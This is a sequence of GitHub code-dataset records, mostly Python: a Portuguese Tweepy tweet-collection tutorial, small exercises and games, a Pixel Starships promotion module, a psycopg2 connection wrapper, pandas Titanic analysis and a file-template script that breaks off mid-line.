\n# **onde os principais parâmetros que serão usados são:**\n# \n# * q - a string de consulta de pesquisa\n# * lang - Restringe os tweets para o idioma especificado, fornecido por um código ISO 639-1.\n# - lang=pt -> Português\n# - lang=en -> Inglês\n# * rpp - O número de tweets a serem retornados por página, até no máximo 100.\n# * page - O número da página (começando em 1) a ser retornado, até um máximo de aproximadamente 1500 resultados (com base na página rpp).\n# * since_id - Retorna apenas status com um ID maior que (ou seja, mais recente que) o ID especificado.\n# * geocode - Retorna tweets de usuários localizados em um determinado raio da latitude / longitude especificada.\n# * show_user - Quando verdadeiro, precede \":\" no início do tweet. O padrão é falso.\n# * include_entities - O nó de entidades não será incluído quando definido como false. O padrão é true. \n# - Detalhes sobre este nó, acesse https://developer.twitter.com/en/docs/tweets/data-dictionary/overview/entities-object\n# \n# * tweet_mode - Define qual o campo de texto que será recuperado, texto completo (280 caracteres) ou busca o texto do tweet truncado( 140 caracteres).\n# - tweets = token.search(q=keyword,lang='pt') --> 140 caracteres \n# - tweets = token.search(q=keyword,tweet_mode='extended') -->280 caracteres\n# \n# * result_type - Define o tipo do tweet a ser recuperado, onde pode ser o mais popular (result_type=\"popular\"), mais recente (result_type=\"recent\") ou uma combinação dos dois (result_type=\"mixed\") \n# \n\n# In[ ]:\n\n\n# Para verificar a quantidade de tweets coletado use a função \"len()\"\n\nprint(\"Total de tweets coletados %s.\" % (len(info)))\n\n\n# In[ ]:\n\n\ntweets\n\n\n# ### Armazenar o tweets coletados \n\n# ##### Armazenar em arquivo JSON\n\n# In[ ]:\n\n\n#Install\n#!pip install json\n\n#Import\nimport json\n\n\n# In[ ]:\n\n\n# writing a JSON file that has the available trends around the world\n\nwith open(\"tweets_irpf_pt.json\",\"w\") as filename: #open file in write mode\n\n\n for tweet in info: #para cada tweet no vetor de resultados tweets\n \n status = tweet\n \n #converte para string \n json_str = json.dumps(status._json)\n \n #deserializa a string para um objeto python do tipo dict \n parsed = json.loads(json_str)\n \n #grava o tweet deserializado no arquivo\n filename.write(json.dumps(parsed, indent=4))\n\n \n\n\n# ##### Armazenar em arquivo CSV\n\n# In[ ]:\n\n\n#Install\n#!pip install pandas\n#!pip install numpy\n\n#Import\nimport pandas as pd\nimport numpy as np\n\n\n# Para mais detalhes sobre o pacote **Pandas** acesse:\n# * https://pandas.pydata.org/\n# * https://medium.com/data-hackers/uma-introdu%C3%A7%C3%A3o-simples-ao-pandas-1e15eea37fa1\n# \n# Para mais detalhes sobre o pacote **Numpy** acesse:\n# * https://numpy.org/\n# * https://medium.com/ensina-ai/entendendo-a-biblioteca-numpy-4858fde63355\n\n# In[ ]:\n\n\n#Define um dataframe para armazenar os dados dos tweets\n\ntweets_df = pd.DataFrame(tweets, columns=['Tweets']) #Store tweet text from tweets list\n\ntweets_df['len'] = np.array([len(tweet) for tweet in tweets]) #Store tweet text size from tweets list\n\ntweets_df['ID'] = np.array([tweet.id for tweet in info])\ntweets_df['USER'] = np.array([tweet.user.screen_name for tweet in info])\ntweets_df['userName'] = np.array([tweet.user.name for tweet in info])\ntweets_df['User Location'] = np.array([tweet.user.location for tweet in info])\ntweets_df['Language'] = np.array([tweet.user.lang for tweet in info])\ntweets_df['Date'] = np.array([tweet.created_at for tweet in info])\ntweets_df['Source'] = np.array([tweet.source for tweet in info])\ntweets_df['Likes'] = np.array([tweet.favorite_count for tweet in info])\ntweets_df['Retweets'] = np.array([tweet.retweet_count for tweet in info])\n\n\n# Escrever/gravar arquivo CSV a partir do dataframe\ntweets_df.to_csv(\"tweets_Keyword_IRPF.csv\")\n\n\n# In[ ]:\n\n\n#Print first 3 rows of dataframe\ntweets_df.head(3)\n\n\n# In[ ]:\n\n\n#Podemos imprimir o nome do usuário (screen_name) e o texto do tweet\ntweet = info[0]\n\nprint(\"Usuário: %s \"% {tweet.user.screen_name})\nprint(\" Tweet: %s\" % {tweet.full_text}) #No caso da busca em tweet_mode='extended' (até 280 caracteres)\n\n#print(\" Tweet: %s\" % {tweet.text}) # Se a busca não foi em tweet_mode='extended' (até 140 caracteres)\n\n\n# FIM!\n","repo_name":"MarceloEbed/IGTI","sub_path":"BootCamp Engenheiro de Dados/Modulo 1 - Materiais/MaterialComplementarVideoaulas_MOD1_EDD/Python/coletaDadosTwitter_Tweepy/ExemploColetaDadosTwitter_Tweepy.py","file_name":"ExemploColetaDadosTwitter_Tweepy.py","file_ext":"py","file_size_in_byte":11926,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"2616276405","text":"def parse_input(input_str):\n lines = input_str.strip().split('\\n')\n N = int(lines[0])\n A = list(lines[1].strip())\n B = list(lines[2].strip())\n\n return N, A, B\n\ndef flip_it(s):\n result = []\n for l in s:\n if l == 'G':\n result.append('H')\n else:\n result.append('G')\n\n return result\n\ndef sub_solve(a, b):\n # solve for a and b\n start, end = 0, len(a) - 1\n\n # find first place of mismatch\n for i in range(len(a)):\n if a[i] != b[i]:\n start = i\n break\n else:\n # all are same\n return 0\n\n # find last place of mismatch\n for i in range(len(a) - 1, start - 1, -1):\n if a[i] != b[i]:\n end = i\n break\n\n if end - start < 2:\n return 1\n\n shorter_a = a[start: end+1]\n shorter_b = b[start: end+1]\n\n return sub_solve(shorter_a, flip_it(shorter_b)) + 1\n\ndef solve():\n return sub_solve(A, B)\n\n\nif __name__ == '__main__':\n input_str = \"\"\"\n 7\n GHHHGHH\n HHGGGHH\n \"\"\"\n N, A, B = parse_input(input_str)\n # print(solve())\n\n same_or_not = [x != y for x, y in zip(A, B)]\n\n # testing:\n # print(parse_input(input_str))\n","repo_name":"aimin-tang/comp_programming","sub_path":"usaco/2020/b2_mad_sci.py","file_name":"b2_mad_sci.py","file_ext":"py","file_size_in_byte":1192,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"7395593947","text":"# TICKETING SYSTEM\n\n'''\nYou are making a ticketing system.\nThe price of a single ticket is $100.\nFor children under 3 years old, the ticket is free.\n\nYour program needs to take the ages of 5 passengers as input and output the total price for their tickets.\n'''\n\n# while loop - continue\n# meaning skipping the one who meets the condition\n\n# declare variable\ntotal = 0\ni = 0\n\n# while i is less than 5 do the code under it\nwhile i < 5:\n # get the input of the user\n age = int(input())\n # add i to plus one each iteration\n i += 1\n \n # condition where the age is 3, skip it using continue\n if age < 3:\n continue\n # otherwise add 100 pesos each passenger in bus\n total = total + 100\n \nprint(total)\n ","repo_name":"OpriasaWeb/ticketing_system","sub_path":"ticketing_system.py","file_name":"ticketing_system.py","file_ext":"py","file_size_in_byte":735,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"43572303733","text":"import random\n\ndef computer_turn():\n global bs_num\n computer_turn_number = random.randint(1,3)\n\n if computer_turn_number == 1:\n bs_num.append(bs_num[-1] + 1)\n print(\"컴퓨터:\",bs_num[-1])\n elif computer_turn_number == 2:\n bs_num.append(bs_num[-1] + 1)\n print(\"컴퓨터:\",bs_num[-1])\n bs_num.append(bs_num[-1] + 1)\n print(\"컴퓨터:\",bs_num[-1])\n elif computer_turn_number == 3:\n bs_num.append(bs_num[-1] + 1)\n print(\"컴퓨터:\",bs_num[-1])\n bs_num.append(bs_num[-1] + 1)\n print(\"컴퓨터:\",bs_num[-1])\n bs_num.append(bs_num[-1] + 1)\n print(\"컴퓨터:\",bs_num[-1])\n\n\n\ndef bs31():\n global bs_num\n print(\"베스킨라빈스 써리원 게임\")\n print(\"-------------------------\")\n \n while True:\n my = input(\"My turn - 숫자를 입력하세요:\").split()\n my = list(map(int, my))\n bs_num = bs_num + my\n print(\"현재 숫자:\",bs_num[-1])\n \n computer_turn()\n print(\"현재 숫자:\",bs_num[-1])\n \n if len(bs_num) >= 31:\n print(\"게임 종료\")\n break\n \n \n\nbs_num = list()\nbs31()\n\n\n\n\n\n# def bs31():\n# print(\"베스킨라빈스 써리원 게임\")\n# print(\"------------------\")\n# import random\n# number = 0\n# while True:\n# # my turn\n# my = input(\"My turn - 숫자를 입력하세요: \")\n# my = my.split()\n# if int(my[0]) != number + 1 or len(my) > 3:\n# print(\"숫자를 제대로 입력하세요\")\n# continue\n# # 숫자 2개 입력 후 연속된 숫자가 아닐 경우 제한\n# if len(my) == 2:\n# if int(my[1]) - int(my[0]) != 1:\n# print(\"연속된 숫자만 입력하세요\")\n# continue\n# # 숫자 3개 입력 후 연속된 숫자가 아닐 경우 제한\n# if len(my) == 3:\n# if int(my[2]) - int(my[1]) != 1 or int(my[1]) - int(my[0]) != 1:\n# print(\"연속된 숫자만 입력하세요\")\n# continue\n\n \n# number = int(my[-1])\n# print(f\"현재 숫자 : {number}\")\n \n# # 31을 넘겼는지 검사\n# if number >= 31:\n# print(\"패배\")\n# break\n \n# # computer\n# computer = []\n# computer_turn_num = random.randint(1,3)\n# for i in range(computer_turn_num):\n# number += 1\n# # 컴퓨터가 31이 넘는 수를 외치면 31로 되돌리기\n# if number > 31:\n# number = number - 1\n# continue\n# computer.append(number)\n# print(f\"컴퓨터 : {computer[-1]}\")\n# print(f\"현재 숫자 : {number}\")\n# print()\n# # 31이 있는지 검사\n# if 31 in computer:\n# print(\"승리!\")\n# break\n# print(\"게임 종료\")\n \n# bs31()","repo_name":"juwon00/py4e","sub_path":"5week/team_01.py","file_name":"team_01.py","file_ext":"py","file_size_in_byte":2975,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"14131149585","text":"#!/usr/bin/env python3\n\nimport sys\n\ndef get_opcode(s):\n n = 0\n count = 0\n\n for c in s:\n if c == ' ': continue\n\n n = n << 1;\n\n if c == '1': n |= 1\n count += 1\n\n if count != 4:\n print(\"Error \" + str(count))\n sys.exit(1)\n\n return n\n\n# ------------------------ cut here ----------------------------\n\nconditions = { }\n\nfp = open(\"propeller2.tsv\", \"r\")\n\nfor line in fp:\n if line.startswith(\"order\"): continue\n\n tokens = line.strip().split(\"\\t\")\n\n tokens[0] = int(tokens[0])\n\n if tokens[1].startswith(\"\"): continue\n if not tokens[2].startswith(\"Instruction Prefix\"): continue\n\n instr = \"\\\"\" + tokens[1].split()[0].lower() + \"\\\",\"\n\n opcode = tokens[3][:4]\n\n opcode = get_opcode(opcode)\n\n if not opcode in conditions:\n conditions[opcode] = instr\n\n opcode = \"0x%x\" % (opcode)\n cond = \"%-16s\" % (instr)\n\n print(\" { \" + cond + opcode + \" },\")\n\nfp.close()\n\nfor n in range(0, 16):\n print(\" \" + conditions[n])\n\n","repo_name":"mikeakohn/naken_asm","sub_path":"scripts/graveyard/make_propeller2_cond.py","file_name":"make_propeller2_cond.py","file_ext":"py","file_size_in_byte":944,"program_lang":"python","lang":"en","doc_type":"code","stars":261,"dataset":"github-code","pt":"47"} +{"seq_id":"23602854700","text":"import sys\nimport os\nfrom stemming.porter3 import PorterStemmer\n'''\nCreated on Apr 25, 2015\n\n@author: nwolfe\n'''\n\ndef fix_line(line, stemmer):\n arr = []\n for word in line.split():\n word = word.lower().replace(\"'\",\"\").replace(\".\",\"\").replace(\",\",\"\")\n arr.append(stemmer.stem(word, 0, len(word)-1))\n return \" \".join(arr)\n\ndef main(directory):\n superscript = open(\"run-all.sh\",\"w\")\n stemmer = PorterStemmer()\n count = 0\n test_count = 0\n train_count = 0\n for root, dirs, files in os.walk(directory, topdown=True):\n for f in files:\n f = os.path.join(root, f)\n print(f)\n document = \" \".join([l.strip() for l in open(f).readlines()])\n special_symbols = ['','']\n csvfile = open(os.path.join(directory,'all-data-train.csv'),'a')\n csvtest = open(os.path.join(directory,'all-data-test.csv'),'a')\n csvall = open(os.path.join(directory,'all-data.csv'),'a')\n for s in special_symbols: document = document.replace(s,'')\n document = fix_line(document, stemmer)\n count += 1\n if(count % 10 != 0):\n csv = \",\".join([str(train_count),f.replace('.txt','').split(os.sep)[-1],document.strip(),'\\n'])\n csvfile.write(csv)\n csvall.write(csv)\n train_count += 1\n else:\n csv = \",\".join([str(test_count),f.replace('.txt','').split(os.sep)[-1],document.strip(),'\\n'])\n csvtest.write(csv)\n csvall.write(csv)\n test_count += 1\n csvfile.close()\n csvall.close()\n csvtest.close()\n #superscript.write(\" \".join([\"./run.sh\",sys.argv[2],f,f,\"\\n\"]))\n \nif __name__ == '__main__':\n main(sys.argv[1])\n \n \n \n\n\n","repo_name":"lang-stats-project/lang-model-thing","sub_path":"tmodel_pipeline/generate_csv_files_for_docs.py","file_name":"generate_csv_files_for_docs.py","file_ext":"py","file_size_in_byte":1834,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"74635426063","text":"import datetime\nfrom typing import Callable, Dict, List, Optional, Tuple, Union\n\nfrom discord import Embed\n\nfrom . import pss_assert\nfrom . import pss_crew as crew\nfrom . import pss_entity as entity\nfrom .pss_exception import Error, NotFound\nfrom . import pss_item as item\nfrom . import pss_lookups as lookups\nfrom . import pss_research as research\nfrom . import pss_room as room\nfrom . import pss_sprites as sprites\nfrom . import settings\nfrom .typehints import EntityInfo\nfrom . import utils\n\n\n# ---------- Constants ----------\n\nPROMOTION_DESIGN_BASE_PATH: str = 'PromotionService/ListAllPromotionDesigns2?languageKey=en'\nPROMOTION_DESIGN_DESCRIPTION_PROPERTY_NAME: str = 'Name'\nPROMOTION_DESIGN_KEY_NAME: str = 'PromotionDesignId'\n\nREWARD_TYPE_GET_ENTITY_FUNCTIONS: Dict[str, Callable] = {\n 'item': item.get_item_details_by_id,\n 'character': crew.get_char_details_by_id,\n 'research': research.get_research_details_by_id,\n 'room': room.get_room_details_by_id,\n 'starbux': None\n}\n\n\n\n\n\n# ---------- Classes ----------\n\nclass LegacyPromotionDesignDetails(entity.LegacyEntityDetails):\n def __init__(self, promotion_info: EntityInfo) -> None:\n \"\"\"\n RewardString\n \"\"\"\n\n self.__name: str = promotion_info.get('Name', None)\n self.__description: str = promotion_info.get('Description', None)\n self.__flags: int = int(promotion_info.get('Flags', '0'))\n self.__requirements: List[PromoRequirement] = __convert_requirement_string(promotion_info.get('RequirementString', ''))\n self.__sprite_id_background: int = int(promotion_info.get('BackgroundSpriteId', '0'))\n self.__sprite_id_button: int = int(promotion_info.get('ButtonSpriteId', '0'))\n self.__sprite_id_close_button: int = int(promotion_info.get('CloseButtonSpriteId', '0'))\n self.__sprite_id_icon: int = int(promotion_info.get('IconSpriteId', '0'))\n self.__sprite_id_title: int = int(promotion_info.get('TitleSpriteId', '0'))\n self.__subtitle: str = promotion_info.get('Subtitle', None)\n self.__vip_extra_crew_draws: int = int(promotion_info('ExtraCrewDraws', '0'))\n self.__vip_resource_conversion_discount: int = int(promotion_info('ResourceConversionDiscountPercentage', '0'))\n self.__vip_reward_store_discount: int = int(promotion_info('RewardStoreDiscountPercentage', '0'))\n self.__vip_speed_up_discount: int = int(promotion_info('SpeedUpDiscountPercentage', '0'))\n self.__vip_starbux_bonus: int = int(promotion_info.get('StarbuxBonusPercentage', '0'))\n self.__vip_xp_bonus: int = int(promotion_info.get('XPBonusPercentage', '0'))\n\n self.__from_datetime: datetime.datetime = __get_datetime(promotion_info.get('FromDate', None), settings.API_DATETIME_FORMAT_CUSTOM)\n self.__to_datetime: datetime.datetime = __get_datetime(promotion_info.get('ToDate', None), settings.API_DATETIME_FORMAT_CUSTOM)\n self.__iap_options: str = utils.convert.iap_options_mask(promotion_info.get('PurchaseMask', '0'))\n\n details_long: List[Tuple[str, str]] = [\n ]\n details_short: List[Tuple[str, str, bool]] = [\n ]\n\n super().__init__(\n name=promotion_info[PROMOTION_DESIGN_DESCRIPTION_PROPERTY_NAME],\n description=promotion_info['Description'],\n details_long=details_long,\n details_short=details_short\n )\n\n\n @property\n def description(self) -> str:\n return self.__description\n\n @property\n def from_datetime(self) -> datetime.datetime:\n return self.__from_datetime\n\n @property\n def iap_options(self) -> str:\n return self.__iap_options\n\n @property\n def name(self) -> str:\n return self.__name\n\n @property\n def requirements(self) -> str:\n pretty_requirements = [requirement.get_pretty_requirement_string() for requirement in self.__requirements]\n return ', '.join(pretty_requirements)\n\n @property\n def sprite_url_background(self) -> str:\n return sprites.get_sprite_download_url(self.__sprite_id_background)\n\n @property\n def sprite_url_button(self) -> str:\n return sprites.get_sprite_download_url(self.__sprite_id_button)\n\n @property\n def sprite_url_close_button(self) -> str:\n return sprites.get_sprite_download_url(self.__sprite_id_close_button)\n\n @property\n def sprite_url_icon(self) -> str:\n return sprites.get_sprite_download_url(self.__sprite_id_icon)\n\n @property\n def sprite_url_title(self) -> str:\n return sprites.get_sprite_download_url(self.__sprite_id_title)\n\n @property\n def subtitle(self) -> str:\n return self.__subtitle\n\n @property\n def to_datetime(self) -> datetime.datetime:\n return self.__to_datetime\n\n @property\n def vip_extra_crew_draws(self) -> int:\n return self.__vip_extra_crew_draws\n\n @property\n def vip_resource_conversion_discount(self) -> int:\n \"\"\"Represents a percentage.\"\"\"\n return self.__vip_resource_conversion_discount\n\n @property\n def vip_reward_store_discount(self) -> int:\n \"\"\"Represents a percentage.\"\"\"\n return self.__vip_reward_store_discount\n\n @property\n def vip_speed_up_discount(self) -> int:\n \"\"\"Represents a percentage.\"\"\"\n return self.__vip_speed_up_discount\n\n @property\n def vip_starbux_bonus(self) -> int:\n \"\"\"Represents a percentage.\"\"\"\n return self.__vip_starbux_bonus\n\n @property\n def vip_xp_bonus(self) -> int:\n \"\"\"Represents a percentage.\"\"\"\n return self.__vip_xp_bonus\n\n\n\n\n\nclass PromoRequirement():\n def __init__(self, requirement: str) -> None:\n self.__lower_than: bool = False\n self.__greater_than: bool = False\n self.__equal: bool = False\n self.__requirement_type: str = None\n self.__requirement_value: int = None\n\n requirement = requirement.strip()\n if '>' in requirement:\n self.__greater_than = True\n if '>=' in requirement:\n self.__requirement_type, self.__requirement_value = __get_requirement_type_and_value(requirement, '>=')\n else:\n self.__requirement_type, self.__requirement_value = __get_requirement_type_and_value(requirement, '>', 1)\n elif '<' in requirement:\n self.__lower_than = True\n if '<=' in requirement:\n self.__requirement_type, self.__requirement_value = __get_requirement_type_and_value(requirement, '<=')\n else:\n self.__requirement_type, self.__requirement_value = __get_requirement_type_and_value(requirement, '<', -1)\n elif '==' in requirement:\n self.__equal = True\n self.__requirement_type, self.__requirement_value = __get_requirement_type_and_value(requirement, '==')\n\n\n def get_pretty_requirement_string(self) -> str:\n modifier = 'Min' if self.__greater_than else 'Max' if self.__lower_than else ''\n if modifier:\n modifier = f'{modifier} '\n pretty_requirement_type = __get_pretty_requirement_type(self.__requirement_type)\n result = f'{modifier}{pretty_requirement_type}: {self.__requirement_value}'\n return result\n\n\n\n\n\n# ---------- Promo info ----------\n\nasync def get_promotion_details_by_id(promotion_design_id: str, promotions_data: dict = None) -> LegacyPromotionDesignDetails:\n if promotion_design_id:\n if promotions_data is None:\n promotions_data = await promotion_designs_retriever.get_data_dict3()\n\n if promotion_design_id and promotion_design_id in promotions_data.keys():\n promotion_info = promotions_data[promotion_design_id]\n promotion_details = LegacyPromotionDesignDetails(promotion_info)\n return promotion_details\n\n return None\n\n\ndef get_promotions_details_by_name(promotion_name: str) -> entity.EntityDetailsCollection:\n pss_assert.valid_entity_name(promotion_name, 'promotion_name')\n raise NotImplemented()\n\n\nasync def get_promotions_infos_by_name(promotion_name: str, as_embed: bool = settings.USE_EMBEDS) -> Union[List[Embed], List[str]]:\n pss_assert.valid_entity_name(promotion_name, 'promotion_name')\n\n promotion_infos = await promotion_designs_retriever.get_entities_infos_by_name(promotion_name)\n promotions_details = [LegacyPromotionDesignDetails(promotion_info) for promotion_info in promotion_infos if promotion_info['PromotionType'] == 'FirstPurchase']\n\n if not promotions_details:\n raise NotFound(f'Could not find a promotion named `{promotion_name}`.')\n else:\n if as_embed:\n return _get_promotions_details_as_embed(promotions_details)\n else:\n return _get_promotions_details_as_text(promotion_name, promotions_details)\n\n\ndef _get_promotions_details_as_embed(promotion_details: Dict[str, dict]) -> Embed:\n pass\n\n\ndef _get_promotions_details_as_text(promotion_name: str, promotion_details: Dict[str, dict]) -> List[str]:\n promotion_details_count = len(promotion_details)\n\n lines = [f'Promotion stats for **{promotion_name}**']\n for i, promotion_details in enumerate(promotion_details):\n if promotion_details_count > 2:\n lines.extend(promotion_details.get_details_as_text_short())\n else:\n lines.extend(promotion_details.get_details_as_text_long())\n if i < promotion_details_count - 1:\n lines.append(utils.discord.EMPTY_LINE)\n\n return lines\n\n\n\n\n\n# ---------- Transformation functions ----------\n\n\n\n\n\n# ---------- Helper functions ----------\n\ndef __convert_reward_string(reward_string: str) -> Dict[str, str]:\n result = {}\n\n if not reward_string:\n return result\n\n for reward in reward_string.split('|'):\n reward_type, entity_id = reward.split(':')\n result.setdefault(reward_type, []).append(entity_id)\n\n return result\n\n\ndef __convert_requirement_string(requirement_string: str) -> List[PromoRequirement]:\n result: List[PromoRequirement] = []\n\n if not requirement_string:\n return result\n\n for requirement in requirement_string.split('&&'):\n promo_requirement = PromoRequirement(requirement)\n result.append(promo_requirement)\n\n return result\n\n\ndef __get_datetime(api_datetime: str, datetime_format: str) -> datetime.datetime:\n if not api_datetime:\n return None\n result = datetime.datetime.strptime(api_datetime, datetime_format)\n if result < settings.PSS_START_DATE:\n return None\n else:\n return result\n\n\ndef __get_pretty_requirement_type(requirement_type: str, language_key: str = 'en') -> Optional[str]:\n if language_key and requirement_type:\n result = lookups.PROMO_REQUIREMENT_TYPE_LOOKUP.get(language_key, {}).get(requirement_type, None)\n return result\n else:\n return None\n\n\ndef __get_pretty_reward_string(rewards: Dict[str, List[str]]) -> str:\n result = []\n\n for entity_type in [key for key in rewards.keys() if rewards[key]]:\n get_entity_details_function = REWARD_TYPE_GET_ENTITY_FUNCTIONS[entity_type.lower()]\n if get_entity_details_function:\n intermediate = []\n for entity_id in rewards[entity_type]:\n entity_details: entity.LegacyEntityDetails = get_entity_details_function(entity_id)\n intermediate.append(entity_details.get_details_as_text_short())\n result.append(', '.join(intermediate))\n else:\n result.append(f'{entity_type}: {sum(rewards[entity_type])}')\n\n return ', '.join(result)\n\n\ndef __get_requirement_type_and_value(requirement_string: str, separator: str, add_to_value: int = 0) -> Tuple[str, int]:\n requirement_type, requirement_value = requirement_string.split(separator)\n requirement_value = int(requirement_value) + add_to_value\n return requirement_type, requirement_value\n\n\n\n\n\n# ---------- Create entity.EntityDetails ----------\n\n\n\n\n\n# ---------- Initilization ----------\n\npromotion_designs_retriever = entity.EntityRetriever(\n PROMOTION_DESIGN_BASE_PATH,\n PROMOTION_DESIGN_KEY_NAME,\n PROMOTION_DESIGN_DESCRIPTION_PROPERTY_NAME,\n cache_name='PromotionDesigns'\n)","repo_name":"PieInTheSky-Inc/YaDc","sub_path":"src/pss_promo.py","file_name":"pss_promo.py","file_ext":"py","file_size_in_byte":12163,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"47"} +{"seq_id":"37243761397","text":"import asyncio\n\nimport psycopg2\nfrom web.settings import Settings\nimport logging\nimport select\nimport time\n\nDEFAULT_CONNECTION_NAME = 'default'\n\n\nclass Connection(object):\n def __enter__(self):\n if self.async_mode:\n self.acursor.execute('BEGIN;')\n self.wait_for_completion()\n return self\n\n def __exit__(self, type, value, traceback):\n if traceback is None:\n if self.async_mode:\n self.acursor.execute('COMMIT;')\n self.wait_for_completion()\n else:\n self.client.commit()\n else:\n if self.async_mode:\n self.acursor.execute('ROLLBACK;')\n self.wait_for_completion()\n else:\n self.client.rollback()\n\n self.__logger.warning('Exception occurred when working with Connection, rolled back')\n\n def __init__(self, **kwargs):\n self.__logger = logging.getLogger(__name__)\n self.async_mode = False\n for i in range(Settings.app['retries']['db_connection']):\n try:\n self.async_mode = True if 'async_mode' in kwargs else False\n self.client = psycopg2.connect(kwargs['dsn'], async_=int(self.async_mode))\n if self.async_mode:\n Connection.__wait_for_completion(self.client)\n self.acursor = self.client.cursor()\n break\n except psycopg2.OperationalError:\n self.__logger.warning('Error connecting to the db server', exc_info=True)\n\n def get_cursor(self):\n return self.acursor if self.async_mode else self.client.cursor()\n\n def wait_for_completion(self):\n if self.async_mode:\n Connection.__wait_for_completion(client=self.client)\n\n __connections = {}\n\n @classmethod\n def connect(cls, alias=DEFAULT_CONNECTION_NAME, **kwargs):\n if alias not in cls.__connections:\n cls.__connections[alias] = {\"connection\": cls(**kwargs), \"args\": kwargs}\n return cls.use(alias)\n\n @classmethod\n def __wait_for_completion(cls, client):\n while client is not None:\n state = client.poll()\n if state == psycopg2.extensions.POLL_OK:\n break\n elif state == psycopg2.extensions.POLL_WRITE:\n # select.select([], [client.fileno()], [])\n cls.__poll_write_async_wait(client.fileno())\n elif state == psycopg2.extensions.POLL_READ:\n # select.select([client.fileno()], [], [])\n cls.__poll_read_async_wait(client.fileno())\n else:\n raise psycopg2.OperationalError(\n f'__wait_for_completion->poll() returned {state}'\n )\n\n @classmethod\n def __poll_write_async_wait(cls, fileno):\n cnt = 0\n while True:\n [_, write_fds, _] = select.select([], [fileno], [], 0.0)\n if write_fds == [fileno]:\n break\n time.sleep(0.1)\n cnt += 1\n if cnt > 10:\n logging.getLogger(__name__).warning(f'__poll_write_async_wait takes too long:')\n\n\n @classmethod\n def __poll_read_async_wait(cls, fileno):\n cnt = 0\n sleep_time = 0.2\n while True:\n [read_fds, _, _] = select.select([fileno], [], [], 0.0)\n if read_fds == [fileno]:\n break\n time.sleep(sleep_time)\n cnt += 1\n if cnt > 15:\n logging.getLogger(__name__).warning(\n f'__poll_read_async_wait takes too long: now {cnt*sleep_time} secs in total'\n )\n\n @classmethod\n def use(cls, alias=DEFAULT_CONNECTION_NAME):\n if alias not in cls.__connections:\n raise ValueError(f'connection {alias} has not been initialized before, '\n f'please use connect method')\n\n connection = cls.__connections[alias]\n try:\n if not connection[\"connection\"].async_mode:\n try:\n connection[\"connection\"].client.reset()\n except (psycopg2.InterfaceError,\n psycopg2.OperationalError,\n psycopg2.DatabaseError,\n psycopg2.ProgrammingError\n ) as e:\n logging.getLogger(__name__).error(\n f'Exception occurred when resetting the Connection: {repr(e)}',\n exc_info=True\n )\n connection[\"connection\"] = cls(**connection[\"args\"])\n except Exception as ex:\n logging.getLogger(__name__).error(\n f'Exception when calling use(): {repr(ex)}', exc_info=True\n )\n return connection[\"connection\"]\n","repo_name":"avast/labmanager-unit-vsphere","sub_path":"web/modeltr/connection.py","file_name":"connection.py","file_ext":"py","file_size_in_byte":4827,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"} +{"seq_id":"42198087723","text":"\"\"\"\n16. Faça um programa que recebe um vetor de 10 números, converta cada um desses números para\nbinário e grave a sequência de Os e 1s em um arquivo texto. Cada número deve ser gravado em \numa linha.\n\n\"\"\"\n\nnumeros = [1, 2, 3, 4, 5, 6, 7, 80, 9, 20]\nwith open('ex16-arquivo.txt', 'a') as arquivo:\n for n in numeros:\n arquivo.write(f'{n:08b} \\n')\n\n","repo_name":"pand-oly/curso_python","sub_path":"secao-13/ex16.py","file_name":"ex16.py","file_ext":"py","file_size_in_byte":363,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"20852464200","text":"import pandas as pd\nimport seaborn as sns\n\nclass TitanicDataAnalyzer:\n def __init__(self):\n self.titanic = sns.load_dataset('titanic')\n self.df = self.titanic.loc[:, ['age', 'sex', 'class', 'fare', 'survived']]\n self.grouped = self.df.groupby(['class'])\n\n def analyze_std_all(self):\n std_all = self.grouped.std()\n print(std_all)\n print('\\n')\n print(type(std_all))\n print('\\n')\n\n def analyze_std_fare(self):\n std_fare = self.grouped['fare'].std()\n print(std_fare)\n print('\\n')\n print(type(std_fare))\n print('\\n')\n\n def analyze_agg_minmax(self):\n def min_max(x):\n return x.max() - x.min()\n\n agg_minmax = self.grouped.agg(min_max)\n print(agg_minmax.head())\n print('\\n')\n\n def analyze_agg_all(self):\n agg_all = self.grouped.agg(['min', 'max'])\n print(agg_all.head())\n print('\\n')\n\n def analyze_agg_sep(self):\n agg_sep = self.grouped.agg({'fare': ['min', 'max'], 'age': 'mean'})\n print(agg_sep.head())\n\n# 클래스 인스턴스 생성\nanalyzer = TitanicDataAnalyzer()\n\n# analyze_std_all 메서드를 사용하여 모든 열의 표준편차 출력\nanalyzer.analyze_std_all()\n\n# analyze_std_fare 메서드를 사용하여 fare 열의 표준편차 출력\nanalyzer.analyze_std_fare()\n\n# analyze_agg_minmax 메서드를 사용하여 최대값과 최소값의 차이 집계 결과 출력\nanalyzer.analyze_agg_minmax()\n\n# analyze_agg_all 메서드를 사용하여 모든 열에 여러 함수 적용 결과 출력\nanalyzer.analyze_agg_all()\n\n# analyze_agg_sep 메서드를 사용하여 각 열에 다른 함수 적용 결과 출력\nanalyzer.analyze_agg_sep()\n","repo_name":"Kwon-JiHyeon/Python_Study","sub_path":"014. Data Preprocessing/groupby02.py","file_name":"groupby02.py","file_ext":"py","file_size_in_byte":1729,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"70733546064","text":"import argparse\nimport os\nimport shutil \n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('--number', action=\"store\", dest=\"number\")\n\n args = parser.parse_args()\n\n path = os.path.join(os.getcwd(), \"problems\", \"problem_\" + args.number)\n if os.path.exists(path):\n shutil.rmtree(path)\n shutil.copytree(\"template\", path) \n\n files = []\n dirlist = [path]\n\n while len(dirlist) > 0:\n for (dirpath, dirnames, filenames) in os.walk(dirlist.pop()):\n # remove .DS_store files\n filenames = [i for i in filenames if not i.startswith('.')]\n\n dirlist.extend(dirnames)\n files.extend(map(lambda n: os.path.join(*n), zip([dirpath] * len(filenames), 